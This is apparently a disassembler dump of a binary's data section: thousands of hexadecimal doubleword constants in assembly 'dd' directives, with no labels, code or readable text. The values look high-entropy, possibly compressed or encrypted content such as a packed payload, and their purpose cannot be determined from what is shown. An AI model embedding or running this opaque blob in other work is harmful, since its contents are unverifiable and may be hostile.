		dd 0B4F7802Ch, 3A7046h,	3DD88529h, 0F5FFC950h, 0D08C1500h
		dd 0C0ACFA8Dh, 0E79C005Fh, 6C8F4F68h, 1503A0E4h, 0EB1D3EA8h
		dd 40781CD1h, 6EA500FCh, 79B2DF2h, 0C9E2F800h, 0A03B7261h
		dd 390AA09h, 0D095C5D0h, 1BA6EFDh, 9BC3D119h, 0D4186506h
		dd 92308D51h, 6DF9209Fh, 731C14DFh, 7AE120A3h, 2618AEh
		dd 159189F4h, 0D57D02D6h, 8043700h, 0CBF81B72h,	0ED4A6AEh
		dd 74A7A665h, 23643C28h, 0A6ABB640h, 663F2163h,	0F8E080F2h
		dd 8CECC85Bh, 1C23EE18h, 8794E20Bh, 0F6AE5968h,	50038CAh
		dd 4E9E3CCDh, 0E6D8D0Fh, 0C30E132Dh, 0B05425C0h, 211D7380h
		dd 5C038339h, 88DDE8CEh, 79EBC06h, 0EB57AE3Ch, 7410077h
		dd 0A50CD354h, 99175129h, 0F5F4AB04h, 0CFE042Fh, 108D3297h
		dd 14461FA3h, 3BF603BAh, 0B08FF8C6h, 0FA93A9Fh,	62129703h
		dd 89A3490Bh, 289CBBE3h, 7C22E26Fh, 113642F2h, 0D321E0F4h
		dd 903D0108h, 1E89864Ah, 0C0472279h, 220C9A22h,	3A326C0Eh
		dd 102B2911h, 0A289979Ch, 1C44A708h, 1911E79Fh,	6D46113Ch
		dd 842AA010h, 0EE088381h, 0A05A3F44h, 40F1C550h, 29C0B7BFh
		dd 61B547Eh, 0EF6A765Ah, 3086560h, 0C866D2B5h, 0F0EFC671h
		dd 9E393BB7h, 246CC02Eh, 54F80800h, 0B9CB81h, 0FB0FDF94h
		dd 5CF7C53h, 950F06ECh,	20CC672Dh, 6421A04Ch, 0CE763B1Ch
		dd 0BD8D2E00h, 0A2F730C6h, 0DA3E371Ch, 9709CFh,	5CF8DE04h
		dd 71C51EDBh, 0C6FB814Eh, 710FE5ADh, 0FA3FEC9Ah, 0F1316F03h
		dd 0D004B52Ah, 7F54Bh, 0A243555Ch, 90CC6B5Eh, 442FD300h
		dd 497794BCh, 38D13828h, 0C7B31F9Eh, 8064A22Eh,	0C76D9E59h
		dd 851C2092h, 2BC1F086h, 0F6B267CCh, 0EED270h, 91126CA9h
		dd 52A0072Dh, 0DF976B00h, 848A5FC2h, 0F2BFA8Fh,	0CC6360B4h
		dd 0E8EEA041h, 0EB0DC007h, 1D77AE18h, 2E16868h,	0ECA66A7Ch
		dd 5840F985h, 8F3E5E14h, 5DC38079h, 4C1D9522h, 8410050h
		dd 749E215Ch, 6B058E40h, 0CAA6FFBAh, 336A9C00h,	60AD6CCBh
		dd 919206F1h, 0E10352CDh, 71EDDCF7h, 1AF8E888h,	207CF5h
		dd 0C61EC7BDh, 0CA42572Eh, 0CDFE8700h, 7E8BAF4Eh, 0CA6385Fh
		dd 4426E200h, 91B392A3h, 25463403h, 0B075BBB6h,	0B84CF2h
		dd 0D5041A5Ch, 0D45211E7h, 6ED67000h, 72C9E4FAh, 0A7733B81h
		dd 81769F1Eh, 27806755h, 51E880B2h, 4917D60Bh, 7E6FC2Fh
		dd 0AE3F6439h, 6047B033h, 3D0018FDh, 0D2024CF0h, 0D80AE8h
		dd 0A08D2A1Fh, 60CDE7D0h, 0D4111600h, 86D74B05h, 0DA6B01A1h
		dd 6CC37F12h, 0BAF6F468h, 24461D3Bh, 80BD3045h,	7C371CBBh
		dd 0A2DE74h, 567D983Fh,	84DB9571h, 0E84AF107h, 0AA11293Bh
		dd 0E0F7E72Ah, 1D99CF14h, 80C212F5h, 8AAB3E35h,	0C90032D4h
		dd 0A3049C5Ah, 982C8Bh,	0A94F756Fh, 7FB2FA7Bh, 0A0C5BE8h
		dd 10C5B555h, 0EC43E020h, 7CE91F40h, 0E9A6425h,	0DFC40E3Fh
		dd 2B54C098h, 17FEEE6h,	0F784191Eh, 7C351283h, 0C9A1B1B5h
		dd 67F64880h, 0A6938188h, 12215201h, 0C7409D9Ah, 63E438CDh
		dd 1F1E8DCh, 98482954h,	206255CBh, 1006CA0h, 0A62E82E3h
		dd 2C73276h, 0D9DB54E2h, 7040B495h, 1C008F55h, 0E92A85EAh
		dd 0ED742Bh, 0A578BC26h, 0F5B9CDEh, 440010F4h, 2CB3841Eh
		dd 0FE0ABF69h, 5364002Dh, 8AE38D85h, 0D41D4CC3h, 28800902h
		dd 436AC0CFh, 963A0958h, 0B0075AA1h, 40553065h,	0D318DD0Dh
		dd 4748BE85h, 3CAB384Fh, 0E0EE02FBh, 4276F1F9h,	1CD88C40h
		dd 0FF034C00h, 80869153h, 4B50006Bh, 3A8A2ECCh,	34981AE6h
		dd 3BA88300h, 36D2D94Fh, 0AC1F0006h, 0C69C3748h, 6507C30Fh
		dd 0AAAB8AEh, 1A3009F0h, 0A10D1224h, 0F1B90EC0h, 6B2279CFh
		dd 9C80D9ACh, 0BF0BC77Eh, 1BCE1900h, 5C9FC9BBh,	0A8203AEh
		dd 880620CDh, 56B8ADE3h, 9700DF2Eh, 0B0714273h,	606AB3DBh
		dd 0DD84F0E7h, 0C5F215FEh, 0F13DEB00h, 0BE08BAA9h, 0E8AA006Eh
		dd 8E259E2Eh, 4C0F113Ch, 60E74A78h, 0A78CD152h,	0EB07CA6h
		dd 7592C97Bh, 3741A280h, 1C391ACFh, 43AD0EAFh, 155F6066h
		dd 0F77D1Eh, 0C484037Bh, 0FF71DE75h, 145CCE00h,	0F69418FCh
		dd 419861h, 0DAF8A3D5h
		dd 0CB605471h, 390D5602h, 4089A5BFh, 3A371F48h,	0FEA4A0A8h
		dd 80849CECh, 1941678Dh, 80014011h, 5960DF70h, 0FCCCE3DAh
		dd 0EAAB024Dh, 0AAE00B3Eh, 85ACE880h, 1D0F2233h, 447437D1h
		dd 0E0C4FF09h, 0E7ABC00h, 3B084A41h, 400B998h, 0DA059B3Ch
		dd 5F00EA0Ch, 0E97E8578h, 0F3A02Eh, 86EB9C65h, 238DF75Dh
		dd 4941C626h, 0DF7B9100h, 987E59BCh, 2AC80050h,	859BD6DEh
		dd 0B3008B66h, 0AE8C4004h, 0F59F275h, 347E494h,	0D0F6EE07h
		dd 65B1B871h, 0EA05B307h, 0E1C055EBh, 76A44D7h,	3CD1E509h
		dd 0E31DB373h, 0C88AB4B0h, 88ADF900h, 90BB523h,	8FC5004Ah
		dd 4C8389E6h, 9E00125Bh, 5A7B21CFh, 6AF8A4h, 99D6A070h
		dd 4B576713h, 0DF42C500h, 0AD8AE02Ch, 82D900F2h, 0A538ED10h
		dd 0DD00C935h, 8388FB0Ah, 11C56Bh, 587D6657h, 0D06F3647h
		dd 0CA062D7Fh, 19C617DCh, 0D9A10F98h, 1CA012DDh, 0D808C8E2h
		dd 0C710A300h, 172F1BBFh, 6CA13930h, 0F1B9F380h, 69FE2D70h
		dd 0C89A6200h, 0A2F48C72h, 7FE300C5h, 0B20B2839h, 61009B8Fh
		dd 5B16830Fh, 8B8441h, 0B769F344h, 0C20DCF94h, 810053FCh
		dd 50A260E2h, 2CDA26EEh, 9C207F84h, 82D6803Ch, 77149841h
		dd 55195603h, 0A87330F0h, 2357ACh, 0DEA7F4D5h, 0AD8521C8h
		dd 0A5CFB73h, 35860096h, 0FA30635Ah, 38750095h,	0F7430BB2h
		dd 0BA742711h, 193AC707h, 20E9140Dh, 0CE613E4h,	22351F1Bh
		dd 559E0018h, 0B1EEB0DAh, 6A67601Ch, 8C200540h,	0B54E828h
		dd 47E080E9h, 0B74E3307h, 0E57E50FAh, 4374AED7h, 30E2B209h
		dd 87380096h, 1E8AC5A9h, 9D82A089h, 0DC0A0046h,	732A4216h
		dd 0D40F1BF4h, 0A5F7A3h, 0A1299A7Dh, 0B7BA01EDh, 28E42FF8h
		dd 300E6FC0h, 64744095h, 0CB3FA9h, 0FC807630h, 78903D48h
		dd 916E5F1Fh, 1B294CC0h, 0F6A8BD70h, 49D80096h,	67B46C2Ch
		dd 0ED3FEFCBh, 7441A49Bh, 0E7CDDE00h, 0E486E9C7h, 50BE0075h
		dd 0EAFC8A60h, 1E006DC9h, 21496EFEh, 96403Ch, 0D8F9B2D6h
		dd 8D3A7A5h, 74751E00h,	0BF129EC3h, 0EF8500D4h,	0A74E7E1Ah
		dd 0CE00606Ch, 155BDCFCh, 4BCAA4h, 967B8398h, 0AE146E0Ah
		dd 3935841Ch, 0A83D7EC0h, 8D300Fh, 0A1A5E075h, 7CEC42E8h
		dd 0BBC876C1h, 0B4EBE389h, 88366480h, 0FC2307F3h, 50556402h
		dd 0E3997778h, 0FE4F3303h, 0D809A889h, 0EE51F2h, 0AF3A6AE9h
		dd 0EA7BB60Ch, 717FCC30h, 9B72CB1h, 0F92FA15Eh,	1B356400h
		dd 21005DACh, 97E7E190h, 261A3857h, 80F0B028h, 0F55ED2B3h
		dd 4798773Bh, 0F9AEC900h, 23702434h, 32EFAB7h, 1E5E4808h
		dd 0C190024Ah, 7600CAB3h, 6AB9370Eh, 3F12FFADh,	0DA04A7E9h
		dd 0C29E791Bh, 0E4E662A0h, 44C7D51Dh, 1580531Dh, 65B67ADAh
		dd 8EF80252h, 8C8D66FCh, 0D45954E1h, 7000A668h,	9B950F73h
		dd 166AFCF3h, 4083BCD1h, 8DEBDA34h, 6D1816AEh, 85C9BDE5h
		dd 84BE0930h, 98807C4Dh, 23A2AAFBh, 90377503h, 0C1ADBC2Dh
		dd 0E0FA4D0Ah, 88B4923Ch, 1460AAFFh, 0CB8E6116h, 707389h
		dd 9EF1A034h, 71658A5Bh, 0A840DA07h, 10A0E644h,	0F49804h
		dd 0AFDE9474h, 0EFA62D96h, 0B062EB00h, 0DF0E3EB9h, 95EE3Fh
		dd 0B6B49486h, 6B1E86Ah, 4CFB2C00h, 0FE29D3F1h,	31683BD4h
		dd 65988880h, 0D7307BE6h, 618FF41Dh, 95931D81h,	0F8830653h
		dd 692D4A7Ch, 79FCB5B8h, 80775A3Fh, 0C927F16Bh,	0B0F3689Ah
		dd 0A9753889h, 0C2320A80h, 28578988h, 0A19EBA01h, 0B398DE25h
		dd 37594C4h, 0D8310E81h, 0E18B6EA9h, 0A2A773F0h, 64AC5102h
		dd 809539DAh, 170BD390h, 75BA005Ah, 0B8D16EE4h,	0E21608ADh
		dd 0DC00B7C5h, 4652FA0Ch, 0D70B00D5h, 1EC88395h, 0C00F4359h
		dd 7632268Ch, 0A5679040h, 0B042485Ah, 0A4830084h, 13F3C4DBh
		dd 0E4A0D4BAh, 0DE0102E3h, 912781ADh, 51C8FAB2h, 288600F3h
		dd 9B7040DBh, 0C90011CFh, 0A3AB7690h, 1C225C87h, 0D136BDh
		dd 498DFAF4h, 4B86295h,	0D4CB2D00h, 58354589h, 60CC00C3h
		dd 0CDDF2816h, 5C7564D8h, 2377F57Bh, 130E67FEh,	204D96FEh
		dd 0AF9D55D4h, 0AB31003Ch, 0F5A0F7B3h, 32C06B14h, 2D91FA5Fh
		dd 9AF60297h, 907C7ECBh, 8F99880h, 12EA9C8Eh, 0E5C7BA01h
		dd 0D8163C09h, 0E61EE085h, 993DC3D2h, 4D55D800h, 0A192FAFDh
		dd 451F00FFh, 37086247h, 4C00A822h, 0D3DF0BEEh,	1F1EF7DDh
		dd 0C08E83DEh, 12D9D69Fh, 8700C171h, 0F9F0ACC7h, 17EBE199h
		dd 7BDC79h, 9538192Ch, 7200D36Eh, 0E710AA0Fh, 0D56646h
		dd 0A33E529Bh, 69E0F21Bh, 2134DB00h, 0FFF54CA2h, 33DA136Ch
		dd 2C5B001Ch, 472D956Eh, 0A51FEE3Ah, 0A12C10DFh, 5DEF00D5h
		dd 125E99B0h, 1000CB8Bh, 68563CF5h, 0B773C9h, 0DC3E15EBh
		dd 1E4C5401h, 3D5B7E09h, 4B840003h, 2A763Bh, 91B4E8ADh
		dd 0D5818FB5h, 0E732A600h, 63EBB1A0h, 0FF800FEh, 0A5AC6264h
		dd 7830F3ADh, 0D2B2203Bh, 7ED7F486h, 209803h, 71CE3D8Ch
		dd 48681DC0h, 0FB00797Dh, 449E0220h, 0A2C599h, 838685CEh
		dd 0BB8833C4h, 0B5F4B00h, 0AC3E688Ah, 3EF00C8h,	0DAA63591h
		dd 81006260h, 0E8A0B655h, 9F597h, 5AFBE63Bh, 0FC2BEE38h
		dd 0A98C9D00h, 0A3CF144Dh, 8550005Fh, 0FBC448A1h, 0F5C45FDh
		dd 0DD3B01C0h, 17EF0FFh, 1E540430h, 0DD138BB9h,	145E8060h
		dd 0D41E8C98h, 4D565900h, 166F0F19h, 51F803AEh,	9B540A3Fh
		dd 279865B3h, 66FE6D48h, 0D366300h, 0C888FD28h,	0FEF33BD4h
		dd 9D683280h, 0C9B230E4h, 0A5723B00h, 0B96714Dh, 0FD8F28C3h
		dd 86A600A4h, 91EFFA6Fh, 23009CABh, 10243B81h, 0FF34CFh
		dd 8F6584CDh, 3AFC2E3Ch, 0D7226114h, 112807ACh,	0AAC31376h
		dd 0FA78C852h, 218400C1h, 2B0DAD01h, 6800E094h,	0A811E0Ch
		dd 0AB2028h, 7F5AD199h,	0F44F2A64h, 6FD96800h, 0C2E6C31Ch
		dd 7B4E4E1h, 8EB77BB3h,	96932087h, 0BA0F30F1h, 0C05CFEE6h
		dd 4557C734h, 27193005h, 0FFA86FA8h, 2014E00h, 47DEC423h
		dd 8D0D079Fh, 51730B3Ah, 0D45155ADh, 2C0064A6h,	0D7CE52E3h
		dd 0F02470h, 0B039B453h, 5096ABDCh, 0A2428000h,	814338A3h
		dd 3F7A1Fh, 0C4460388h,	5535BCBBh, 0FEA0CE98h, 0A0008DAEh
		dd 0AB5D6794h, 6897Ch, 431305A8h, 681B4510h, 32E7B603h
		dd 734047A6h, 0E3D10010h, 0E1455EB1h, 2F188EFEh, 0C0487E80h
		dd 0B5709088h, 733067F0h, 0C45A19F9h, 8EF20043h, 9A3EB355h
		dd 0A37CCEC6h, 64837424h, 7C36B280h, 0E310587h,	40CD6724h
		dd 2E12F038h, 799E7B00h, 0C2B7BD01h, 18241D3Ch,	0F6E6C01Eh
		dd 937FFDF8h, 0E70C112Ch, 0C74EAB07h, 0A1C9EDA0h, 0E38E0054h
		dd 50631C2h, 0F428BCDDh, 0F11FA0ACh, 0C0C04A80h, 0AA65F384h
		dd 0C0C171B6h, 0ABC5B598h, 39001017h, 0D2BF4F5h, 0EF64CC7h
		dd 6A3D4E1Fh, 0A687BCA0h, 9630A7A3h, 363C7673h,	7EE4A041h
		dd 7CC300C5h, 0E924EAC8h, 2F79A3D0h, 4CA64000h,	3F6CE5B7h
		dd 0F9540041h, 0B4ED4ABEh, 0D879351Ah, 0B81C5600h, 27016320h
		dd 118900FBh, 0FAF80559h, 0FE01A08Eh, 8F73544Eh, 76D8B0EEh
		dd 67660364h, 0CFF49CAAh, 331BC000h, 0FC2056E6h, 39930489h
		dd 9C60508Fh, 0A50EDEBCh, 1D2B4208h, 7F9AB3C1h,	0FAEC305Fh
		dd 0C032006Ch, 88ED7D2Ch, 0D8CE69E4h, 46EF4015h, 0AC42DBh
		dd 2633142Dh, 0CCAF795Fh, 14F6773Eh, 0DCBC22h, 3AA2872Bh
		dd 0B80E51Fh, 905188D9h, 89EFBC80h, 0E100EEA7h,	25A39BC5h
		dd 18ACE455h, 491F2769h
		dd 423D0DFBh, 0FADA00F5h, 0FC4FB10Eh, 47AC0CBBh, 83E81790h
		dd 5A9EC00h, 0F9F66806h, 0B7AB00E9h, 0EB693738h, 0A5017C8Ch
		dd 0AD583AB5h, 0CFEF18E5h, 0BDA9E260h, 0D1E70098h, 1D514A55h
		dd 0A0963A3h, 80570422h, 6ADC6054h, 0C7467h, 1A6F245Eh
		dd 73FCA515h, 80CFA33Eh, 1020EE1h, 4CADF356h, 0B80018F0h
		dd 20B18AA0h, 2239C0F4h, 0A1D1802Dh, 0D043105Ah, 93E6006Ch
		dd 2552EC42h, 0C4005F20h, 24056490h, 26C3263Ah,	0AB2B23h
		dd 80B488FEh, 6C9025F6h, 0CDBC3E00h, 43249DA8h,	5ABE0063h
		dd 5DC0AC3h, 20B856F5h,	7C66BA1Fh, 30921A42h, 0D2AF4085h
		dd 0FB3D005Eh, 0EE0B8496h, 8C14C1C7h, 0A0480Eh,	4C9F614Bh
		dd 285B6818h, 7ADCA0BAh, 0B626006Eh, 0DF94C867h, 0CF75E18Ah
		dd 98C68103h, 0A14A6057h, 0D8B8A8F2h, 0E2EA0EFAh, 4840DD2Eh
		dd 0D7F19AEDh, 21D0251Ch, 0EF906440h, 0CABCFDh,	2B076CC5h
		dd 72703984h, 31780900h, 6B4E80BAh, 778F000Fh, 2EC1937Bh
		dd 0C02642A5h, 0E0401020h, 0D474F5h, 0C28DD3E1h, 0FC7E25C6h
		dd 3400C579h, 67B78A57h, 77539Ch, 8BE5F03h, 7FA3AA0Ch
		dd 0C9B45B00h, 338275F3h, 0EA0A0930h, 0F000C111h, 2F921BFDh
		dd 91513C31h, 48ECB822h, 0E78403D0h, 0D5544370h, 0F34BAE90h
		dd 0CD2D3E03h, 0CC396Ah, 0CB01CF60h, 0ABEE5ED0h, 937D7E24h
		dd 7248C200h, 1735DDh, 0C8C9941Bh, 0D999A988h, 0DBC62E51h
		dd 7689F2F0h, 0EABCAF1Fh, 0B6C8BE40h, 0C5C13Dh,	4F13AA3Bh
		dd 15C98494h, 781FE9F4h, 9C812A45h, 26B843FCh, 777616E4h
		dd 0E01D01B5h, 0E7DDC2BCh, 5EA0C3B1h, 53261E08h, 0B80008C6h
		dd 0D1D47518h, 0E14C00DBh, 878A61BBh, 0DE07ABAEh, 88F27F13h
		dd 9AD01DF7h, 70CC4Ah, 29F39D62h, 0E36B3B99h, 0F000BE7Dh
		dd 0F55F8A2h, 762C3Eh, 5E9669C2h, 9ECEB206h, 44D5C72Eh
		dd 0C46F7280h, 7234C35Bh, 60E1002Fh, 0C2219BE5h, 0E6002423h
		dd 0E9FBD53h, 0EE7B705Bh, 1E1100A8h, 0B74FF83Dh, 94009D34h
		dd 0B5906AD8h, 1740BB4h, 0DAE37699h, 0F071C0E6h, 0A23BC6E7h
		dd 8BEE007Fh, 0ADF475Bh, 3A9C0065h, 0C0610F1Ah,	0A20011B4h
		dd 7104460h, 984B0330h,	4C530056h, 63889234h, 0A70AC238h
		dd 98A8A9A1h, 2C53A097h, 2F3500BBh, 0EDFC9643h,	3A537617h
		dd 0C79BC401h, 0A6E0155Fh, 0EA40A80h, 8094559Ah, 0E9590393h
		dd 0E4026850h, 0E0C79841h, 0A198812Dh, 24308B4Eh, 4CF8280Dh
		dd 0B83F04DEh, 8085E0AAh, 0DB82F1C0h, 0A0C9390Eh, 226DA02Ah
		dd 0EA425919h, 0C8D20F54h, 1C2E4BE9h, 860643A5h, 46023840h
		dd 23A088FAh, 90EFE0CDh, 0F41F48F2h, 9EDFB000h,	41F845B4h
		dd 531A800h, 0FDDDF088h, 13BA0094h, 0EB91E112h,	7105A068h
		dd 0F0602D9Ch, 0E06568C0h, 0FC4E17C3h, 0CC5C04D5h, 61324574h
		dd 812F2881h, 0D9B8D0h,	0AB567677h, 0ECD3AF2Dh,	0CB2460Bh
		dd 8F94814Eh, 81E0FB0Ah, 0F6C8B06Eh, 8B7B1E09h,	455100A5h
		dd 3D7ED246h, 0EF430E1Eh, 7E186753h, 0BE0268h, 0FA8FEBD9h
		dd 0C1298A2h, 0DD45000h, 89C7F764h, 885C283Dh, 2AC61EB6h
		dd 90B4667h, 0EB00C0CBh, 3425FE82h, 1E58688Dh, 962F3BE9h
		dd 0AA1800C6h, 6303E88Eh, 59C80C18h, 18642070h,	40CA746Bh
		dd 167F8055h, 9E284499h, 5256AC00h, 123B61FDh, 0DEA800CFh
		dd 74B3BFD0h, 0E4995AF8h, 0E2398D80h, 393B147h,	95681FB8h
		dd 0CCC3DC16h, 0CB7C3A8h, 56F03A00h, 0ED91654Fh, 0C67B0084h
		dd 308C5863h, 0CB0FA64Eh, 0F7CF50E0h, 0EF47111Dh, 24D003DFh
		dd 20790Dh, 0FE32CEE2h,	57F2BB48h, 14081B3Ch, 0A03705h
		dd 0D1F4B40h, 1A50B9Fh,	1A485F58h, 800292A6h, 18565E88h
		dd 79AE750Ch, 71A4B236h, 3FCE00A9h, 31146369h, 522ED0FEh
		dd 0FB93CCDAh, 5012D001h, 8EC485B0h, 71F828h, 0C574D156h
		dd 9CE87C0Ch, 8932DD3Dh, 41FBB51Fh, 4344270h, 0F6A500ADh
		dd 0A2704DF2h, 0AC251D0Dh, 0B0FE46h, 0BD65548Eh, 800003C5h
		dd 0EF406B29h, 92514Bh,	0AE9ED79Fh, 224C9ACEh, 8A3D8A0h
		dd 42AB1C00h, 81C161B4h, 1A4D0045h, 0CE83F760h,	9C030EF5h
		dd 3CA32905h, 0E726A838h, 8A94032Ah, 0D1F1DE0Ah, 7E88DAF0h
		dd 0EAC63E00h, 0FB385008h, 0F6DF0076h, 0BE2A1B6Bh, 0ED797553h
		dd 0D7114E01h, 0CDE851D9h, 38181828h, 62F55271h, 3632AD00h
		dd 0E3687245h, 89D100D9h, 0FF805B7Ch, 15004137h, 71CCC30Ch
		dd 1C260Dh, 0EA4B016Ah,	63658053h, 0F4FB3612h, 6B3E6C00h
		dd 0E0C2BFE9h, 467B006Ah, 8AA9B7Fh, 0E4008349h,	69B3AD91h
		dd 1F6A9E35h, 40D3938Dh, 6DCC56A7h, 8E041141h, 0DF97F8F5h
		dd 681B8A0h, 1C30F0A5h,	3B003E93h, 0CBD126B9h, 43DFA9h
		dd 0A4AE1815h, 971B79EFh, 9C002079h, 0E3BB47BDh, 90A01FB7h
		dd 0D7E102B0h, 1AE2DAECh, 72B050E3h, 65015D7Ah,	22246DD9h
		dd 42C43027h, 0B8B03Dh,	0C0EFF92Ah, 6B7FA192h, 0F6BC1E00h
		dd 2215EE77h, 8F43AB1h,	65CDC500h, 2A1E87AAh, 3D5C6A00h
		dd 0B00CE3A5h, 4714B06h, 0C88562ECh, 27693908h,	49820180h
		dd 55F84179h, 0E5CB1DBBh, 0BD45C6ABh, 97403952h, 0BFF0006Ah
		dd 14A237A7h, 880EDC5Dh, 809D6C24h, 323D625Ah, 70DA00C0h
		dd 0E95C2830h, 0A90061D8h, 0C4FDED74h, 1F438D6Dh, 0BB54AD88h
		dd 17ACF2A8h, 60DCBC10h, 0DD45F7F0h, 3E00CC98h,	0ADC043BAh
		dd 0B906E47h, 0BD5A72F0h, 0EDAABCA2h, 2BE9407Dh, 96A4006Fh
		dd 0A13B1B4Dh, 6803955Ch, 4E8FA60Fh, 0CF9CF0E3h, 0DE580F52h
		dd 7C602F7Dh, 78B306E4h, 0FD78700h, 91E0A0E8h, 8E5A0E0Dh
		dd 5401C638h, 0DCBEC2F9h, 9499BD67h, 80CA400h, 1C50BA47h
		dd 0C770F545h, 6079C2FBh, 0B420054Bh, 0E4CB1801h, 3443EAC1h
		dd 0FAD8220h, 2E2CC474h, 134F1A2Fh, 8673D300h, 0E700098Ch
		dd 0E8EB3F35h, 1E9AB99Fh, 8626AA78h, 14CFE166h,	6EEC2E03h
		dd 0F8E0A11Dh, 2F8AACh,	4C10CA93h, 0B13117EDh, 0EAE77E12h
		dd 1A3230C0h, 0D6EC0901h, 0C5803445h, 0EF656F56h, 1C00587Dh
		dd 4953A060h, 0F22E21Fh, 0A911EFAh, 0DCCFD4A1h,	0D042E813h
		dd 0AD09617Ch, 0D58A39h, 0CB50C4F3h, 6D2E001Bh,	0EAE5F495h
		dd 0F90081A5h, 7218668Dh, 12B9DC40h, 7E04CBCh, 0A9D3DFCDh
		dd 26B8B687h, 0D00CE5Bh, 7ED03F8Dh, 60FF12h, 2C2E104Dh
		dd 653E1FE9h, 8107F77Bh, 0B23804DEh, 0E7E232D3h, 5C26F6D0h
		dd 0D4D51CE7h, 8303C08Ch, 942B07DFh, 813B8500h,	67E27C2Ah
		dd 2D2548DDh, 0A2661900h, 3AF962Eh, 20D8C07h, 144374CDh
		dd 0EB50A0B7h, 0C0776Ch, 1E72D046h, 0C613BD4Ah,	3791D58h
		dd 0B36BC1E8h, 2E92C03Eh, 0AB472CAAh, 0C4818368h, 0F5825173h
		dd 95F77F60h, 0CECD0C00h, 7AD1E308h, 9BC60219h,	21441823h
		dd 0BBC2A443h, 0F5A6C048h, 0BC002AFAh, 0A8B7818Ah, 5C074DF7h
		dd 3D005901h, 62A641A7h, 800F677Fh, 0C0C2F635h,	0D999A29Ch
		dd 5C34008Ch, 8624C94Dh, 0A40051B2h, 601DF1EBh,	4D5C20Ch
		dd 89DE4A11h, 408C80BCh, 2E0078EAh, 6B7DEB01h, 99C9CA90h
		dd 5B59815Ch, 40CDC8E1h, 0BCA1CF9Bh, 4FFAA9C4h,	8C9514D0h
		dd 0E57F3E4Bh, 6F45A080h, 0F207AF12h, 0DDA4B91Ch, 1BBB8A40h
		dd 86826Dh, 6175A1ABh, 1F84950Dh, 69D3C600h, 32F81B76h
		dd 0F6F30185h, 95053E54h, 0DA6FD981h, 2FB72240h, 777C7916h
		dd 0E561E080h, 0EA900AF3h, 3D8E0DC2h, 85B1C180h, 9998A497h
		dd 0F99C3800h, 3423E18Ch
		dd 0AB45134Bh, 495C4950h, 0C8B2D080h, 0EC1D85D8h, 37804B1Fh
		dd 0E168E9D7h, 0E51400C5h, 0DC6B802Ch, 9600EA33h, 717ABBDEh
		dd 9B8B1h, 89C66452h, 19E46630h, 0B4267726h, 2FEB7A0Bh
		dd 0C4C8130Ch, 0C37F00B5h, 0AD948582h, 2200BB8Bh, 6EFB507Ch
		dd 24B51346h, 58A931h, 9ED46476h, 3C980153h, 0A5F7E900h
		dd 665A275Ch, 36BF1DCEh, 0AE95C7E3h, 0DA056E0Fh, 83C400A8h
		dd 5EDEF9EAh, 0B4FD2E2Eh, 9501861Eh, 0C3757919h, 8D7860h
		dd 0D70FFC05h, 0DFA46615h, 0A0997B00h, 6D36BE41h, 0E01300DEh
		dd 0DDA1B948h, 470043C4h, 0ECC324F0h, 0A4AC11h,	3D6E8C69h
		dd 91893220h, 4D0028E8h, 11F2C1C6h, 0D85897h, 0FE46A477h
		dd 0D35756C5h, 0FCB0DB27h, 2D5246Bh, 0D9A29F76h, 0D4FCA450h
		dd 1E002EFCh, 8361C413h, 5A08ED3h, 0F4C1914Dh, 0A2E0C28Ah
		dd 10EFAF80h, 20FF5471h, 80009447h, 52CDD80Ah, 398E549h
		dd 0ECAA151Bh, 58E83F4Fh, 0D4058CE7h, 76AB714Eh, 0B5040B0h
		dd 0BAB66078h, 510B2400h, 89483AD8h, 0DE4D1C38h, 3BA67540h
		dd 0AE4399Fh, 93CE218Fh, 0C8803B82h, 0F54C8BC1h, 0F61EAEA5h
		dd 6F418ADFh, 15C1783h,	0B3A3070h, 0F513E264h, 78ADA181h
		dd 870824E6h, 3AE3F201h, 0ABD9411Dh, 20B0F5D3h,	27980067h
		dd 21DAB10Bh, 7E09116Ah, 0D7B82C9Bh, 0F6B42200h, 0E4003203h
		dd 0D18020Eh, 3CE07BEEh, 170A14Fh, 6DCEF944h, 0FC7A57F0h
		dd 3317B534h, 8C007136h, 0F3F2FA24h, 0F4250313h, 88E09F54h
		dd 80C591BBh, 6ADB035Eh, 0BF2CDE01h, 0A517C67Ch, 752AF8h
		dd 0E30A3E49h, 86231CCDh, 4F0BF500h, 6D279BEEh,	0A5410470h
		dd 0EA8EDDDBh, 5134ECC0h, 7205308Bh, 62567DA4h,	8C03DC78h
		dd 31E8E691h, 0F4F0F864h, 0C4924Dh, 0A1042AB9h,	0B816627Ah
		dd 0D7BA1C00h, 3DF243FCh, 2F5D00D0h, 974A8B71h,	0AD58CF81h
		dd 349201ABh, 2C2302Dh,	736388DCh, 3DBB0040h, 8D48FAD3h
		dd 490065DFh, 0D811AB7Eh, 905E4CE0h, 9EE00F2h, 0D32C8220h
		dd 0B7093D08h, 708D0128h, 1E841E0Dh, 3B19CCAh, 8FFF6A4Fh
		dd 5142BA80h, 5E6D8900h, 343B4A5Ah, 485B3BC2h, 0CEA14D00h
		dd 73D727DFh, 0B6499406h, 243AB86Ah, 0E35A4A6h,	0DC809EA2h
		dd 15F58A4Dh, 11CD6100h, 80D929F0h, 7C6900F6h, 0D4A79B2Fh
		dd 0D300B4C4h, 0AB356B7Ah, 0F0798Eh, 9DB90958h,	0CAB58A6Eh
		dd 802CA13Dh, 721A764Bh, 0E2274A3h, 15C47362h, 1F759E60h
		dd 59036A67h, 8C9CBA0Ah, 4112E19h, 147600CAh, 0A58A6970h
		dd 2C6E6300h, 0A275CBECh, 0D53E1E84h, 0AEE80615h, 0C57810A1h
		dd 20C95703h, 7C43C717h, 1A400180h, 0A6980BB6h,	0DD0980EEh
		dd 15C9F557h, 27B51C76h, 379BA83Bh, 50C4D397h, 0BD066C87h
		dd 72C63Ah, 0A3E1CB17h,	1EC93960h, 475A44F3h, 60915CFh
		dd 0B50C68C8h, 0F987BE49h, 0A5500C11h, 89118B64h, 0CBFC8F00h
		dd 15B6B75Ah, 4C33A5Fh,	0A6C00F80h, 84540CF2h, 0CA489CFBh
		dd 0B328851h, 0B387EE20h, 0D3638069h, 0BC4CFA23h, 808638FBh
		dd 64A4C5C0h, 0E96BD4Dh, 3A619E47h, 8C083360h, 8D3D7EF3h
		dd 48248FB9h, 6E516016h, 3CA29AC6h, 59011D9Ch, 0DC8AEE99h
		dd 255AC804h, 0A0FAE200h, 3F9C4915h, 0C76D005Dh, 34C33E3Ah
		dd 0F000D3ECh, 0CB8098E9h, 545AFCh, 5284F743h, 8E5387BDh
		dd 24007F7Dh, 9E2DABA7h, 26CF855Dh, 5B3F12Fh, 40E25E91h
		dd 2374A798h, 11CAC94Ch, 19D404CAh, 10CB535Eh, 9E613079h
